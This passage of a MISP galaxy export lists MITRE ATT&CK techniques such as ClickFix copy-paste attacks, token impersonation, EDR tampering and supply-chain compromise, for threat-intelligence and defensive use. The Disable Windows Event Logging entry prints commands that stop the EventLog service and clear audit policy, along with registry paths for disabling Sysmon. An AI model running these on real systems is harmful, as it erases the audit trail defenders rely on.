Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.

Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Device Configuration Dump - T1602.002"*

Table 8077. Table References

Links
https://attack.mitre.org/techniques/T1602/002
https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
https://us-cert.cisa.gov/ncas/alerts/TA18-106A
https://www.us-cert.gov/ncas/alerts/TA18-086A

Malicious Copy and Paste - T1204.004

An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). One such strategy is "ClickFix," in which adversaries present users with seemingly helpful solutions—such as prompts to fix errors or complete CAPTCHAs—that instead instruct the user to copy and paste malicious code.

Malicious websites, such as those used in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), may present fake error messages or CAPTCHA prompts that instruct users to open a terminal or the Windows Run Dialog box and execute an arbitrary command. These commands may be obfuscated using encoding or other techniques to conceal malicious intent. Once executed, the adversary will typically be able to establish a foothold on the victim's machine.(Citation: CloudSEK Lumma Stealer 2024)(Citation: Sekoia ClickFake 2025)(Citation: Reliaquest CAPTCHA 2024)(Citation: AhnLab LummaC2 2025)

Adversaries may also leverage phishing emails for this purpose. When a user attempts to open an attachment, they may be presented with a fake error and offered a malicious command to paste as a solution, consistent with the "ClickFix" strategy.(Citation: Proofpoint ClickFix 2024)(Citation: AhnLab Malicioys Copy Paste 2024)

Tricking a user into executing a command themselves may help to bypass email filtering, browser sandboxing, or other mitigations designed to protect users against malicious downloaded files.

The tag is: *misp-galaxy:mitre-attack-pattern="Malicious Copy and Paste - T1204.004"*

Table 8078. Table References

Links
https://asec.ahnlab.com/en/73952/
https://asec.ahnlab.com/en/85699/
https://attack.mitre.org/techniques/T1204/004
https://blog.sekoia.io/clickfake-interview-campaign-by-lazarus/
https://www.cloudsek.com/blog/unmasking-the-danger-lumma-stealer-malware-exploits-fake-captcha-pages
https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
https://www.reliaquest.com/blog/using-captcha-for-compromise/

Indicator Removal from Tools - T1027.005

Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005"*

Table 8079. Table References

Links
https://attack.mitre.org/techniques/T1027/005

Additional Email Delegate Permissions - T1098.002

Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.

For example, the <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe)

Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user's mail folders.(Citation: Mandiant Defend UNC2452 White Paper)

This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002"*

Table 8080. Table References

Links
https://attack.mitre.org/techniques/T1098/002
https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps
https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html
https://static.carahsoft.com/concrete/files/1015/2779/3571/M-Trends-2018-Report.pdf

https://support.google.com/a/answer/7223765?hl=en
https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/
https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452
https://www.slideshare.net/slideshow/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365/128744511

Masquerade Task or Service - T1036.004

Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"*

Table 8081. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://attack.mitre.org/techniques/T1036/004
https://technet.microsoft.com/en-us/library/bb490996.aspx
https://vms.drweb.com/virus/?i=4276269
https://www.freedesktop.org/software/systemd/man/systemd.service.html

Archive via Custom Method - T1560.003

An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)

The tag is: *misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003"*

Table 8082. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

https://attack.mitre.org/techniques/T1560/003

Additional Container Cluster Roles - T1098.006

An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)

This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised.

Note that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).

The tag is: *misp-galaxy:mitre-attack-pattern="Additional Container Cluster Roles - T1098.006"*

Table 8083. Table References

Links
https://attack.mitre.org/techniques/T1098/006
https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters
https://cloud.google.com/kubernetes-engine/docs/how-to/iam
https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html
https://kubernetes.io/docs/concepts/security/rbac-good-practices/
https://kubernetes.io/docs/reference/access-authn-authz/abac/
https://learn.microsoft.com/en-us/azure/aks/concepts-identity

Extra Window Memory Injection - T1055.011

Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of

new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process's memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process's EWM.

Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code> and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: *misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1055.011"*

Table 8084. Table References

Links
https://attack.mitre.org/techniques/T1055/011
https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/

Customer Relationship Management Software - T1213.004

Adversaries may leverage Customer Relationship Management (CRM) software to mine valuable

information. CRM software is used to assist organizations in tracking and managing customer interactions, as well as storing customer data.

Once adversaries gain access to a victim organization, they may mine CRM software for customer data. This may include personally identifiable information (PII) such as full names, emails, phone numbers, and addresses, as well as additional details such as purchase histories and IT support interactions. By collecting this data, an adversary may be able to send personalized [Phishing](https://attack.mitre.org/techniques/T1566) emails, engage in SIM swapping, or otherwise target the organization's customers in ways that enable financial gain or the compromise of additional organizations.(Citation: Bleeping Computer US Cellular Hack 2022)(Citation: Bleeping Computer Mint Mobile Hack 2021)(Citation: Bleeping Computer Bank Hack 2020)

CRM software may be hosted on-premises or in the cloud. Information stored in these solutions may vary based on the specific instance or environment. Examples of CRM software include Microsoft Dynamics 365, Salesforce, Zoho, Zendesk, and HubSpot.

The tag is: *misp-galaxy:mitre-attack-pattern="Customer Relationship Management Software - T1213.004"*

Table 8085. Table References

Links
https://attack.mitre.org/techniques/T1213/004
https://www.bleepingcomputer.com/news/security/customer-owned-bank-informs-100k-of-breach-exposing-account-balance-pii/
https://www.bleepingcomputer.com/news/security/mint-mobile-hit-by-a-data-breach-after-numbers-ported-data-accessed/
https://www.bleepingcomputer.com/news/security/uscellular-discloses-data-breach-after-billing-system-hack/

Create Process with Token - T1134.002

Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)

Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.

While this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.

The tag is: *misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002"*

Table 8086. Table References

Links
https://attack.mitre.org/techniques/T1134/002
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing

Code Signing Policy Modification - T1632.001

Adversaries may modify code signing policies to enable execution of applications signed with unofficial or unknown keys. Code signing provides a level of authenticity on an app from a developer, guaranteeing that the program has not been tampered with and comes from an official source. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on a device.

Mobile devices generally enable these security controls by default, such as preventing the installation of unknown applications on Android. Adversaries may modify these policies in a number of ways, including [Input Injection](https://attack.mitre.org/techniques/T1516) or malicious configuration profiles.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1632.001"*

Table 8087. Table References

Links
https://attack.mitre.org/techniques/T1632/001
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html

System Runtime API Hijacking - T1625.001

Adversaries may execute their own malicious payloads by hijacking the way an operating system runs applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur at later points in time.

On Android, adversaries may overwrite the standard OS API library with a malicious alternative to hook into core functions to achieve persistence. By doing this, the adversary's code will be executed every time the overwritten API function is called by an app on the infected device.

The tag is: *misp-galaxy:mitre-attack-pattern="System Runtime API Hijacking - T1625.001"*

Table 8088. Table References

Links
https://attack.mitre.org/techniques/T1625/001
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html

Disable or Modify Tools - T1562.001

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)

Adversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot)

Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool's exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)

Adversaries may also focus on specific applications such as Sysmon. For example, the "Start" and "Enable" values in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational</code> may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)

On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)

In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.

Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may

abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)

Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"*

Table 8089. Table References

Links
https://attack.mitre.org/techniques/T1562/001
https://blogs.blackberry.com/en/2022/02/threat-spotlight-whispergate-wiper-wreaks-havoc-in-ukraine
https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf
https://cloud.google.com/blog/topics/threat-intelligence/fin13-cybercriminal-mexico/
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
https://ptylu.github.io/content/report/report.html?report=25
https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/demystifying-ransomware-attacks-against-microsoft-defender/ba-p/1928947
https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html
https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/
https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/
https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis
https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem
https://www.mandiant.com/resources/chasing-avaddon-ransomware
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/
https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/

Compromise Software Supply Chain - T1195.002

Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified

version.

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002"*

Table 8090. Table References

Links
https://attack.mitre.org/techniques/T1195/002
https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities
https://web.archive.org/web/20160309235002/https://www.commandfive.com/papers/C5_APT_SKHack.pdf

Make and Impersonate Token - T1134.003

Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.

This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.

The tag is: *misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003"*

Table 8091. Table References

Links
https://attack.mitre.org/techniques/T1134/003
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw
https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing

Compromise Hardware Supply Chain - T1195.003

Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Hardware Supply Chain - T1195.003"*

Table 8092. Table References

Links
https://attack.mitre.org/techniques/T1195/003

Change Default File Association - T1546.001

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\shell\\[action]\command</code>. For example:

- <code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code>
- <code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code>
- <code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001"*

Table 8093. Table References

Links
https://attack.mitre.org/techniques/T1546/001
https://docs.microsoft.com/windows-server/administration/windows-commands/assoc
https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015
https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd

Hidden Files and Directories - T1564.001

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a 'hidden' file. These files don't show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

On Linux and Mac, users can mark specific files as hidden simply by putting a "." as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, '.', are by default hidden from being viewed in the Finder application and standard command-line utilities like "ls". Users must specifically change settings to have these files viewable.

Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn't clutter up the user's workspace. For example, SSH utilities create a .ssh folder that's hidden and contains the user's known hosts and keys.

Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a "space" character.

Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.

The tag is: *misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001"*

Table 8094. Table References

Links
https://attack.mitre.org/techniques/T1564/001
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

Services File Permissions Weakness - T1574.010

Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed

by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

The tag is: *misp-galaxy:mitre-attack-pattern="Services File Permissions Weakness - T1574.010"*

Table 8095. Table References

Links
https://attack.mitre.org/techniques/T1574/010

Exfiltration to Code Repository - T1567.001

Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.

Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001"*

Table 8096. Table References

Links
https://attack.mitre.org/techniques/T1567/001

Network Address Translation Traversal - T1599.001

Adversaries may bridge network boundaries by modifying a network device's Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)

When an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to

overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.

Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001"*

Table 8097. Table References

Links
https://attack.mitre.org/techniques/T1599/001
https://tools.ietf.org/html/rfc1918

Disable Windows Event Logging - T1562.002

Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.

The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\Local Policies\Audit Policy</code> for basic audit policy settings or <code>Security Settings\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)

Adversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the “Start” value in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog</code> then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)

There are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the "Start" value in the key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Security</code>, then reboot the system to disable the Security EventLog.(Citation:

winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging)

Additionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:”Account Logon” /success:disable /failure:disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.(Citation: T1562.002_redcanaryco)

By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.

The tag is: *misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002"*

Table 8098. Table References

Links
https://attack.mitre.org/techniques/T1562/002
https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md
https://ptylu.github.io/content/report/report.html?report=25
https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html
https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c
https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040
https://www.coretechnologies.com/blog/windows-services/eventlog/
https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/

Impair Command History Logging - T1562.003
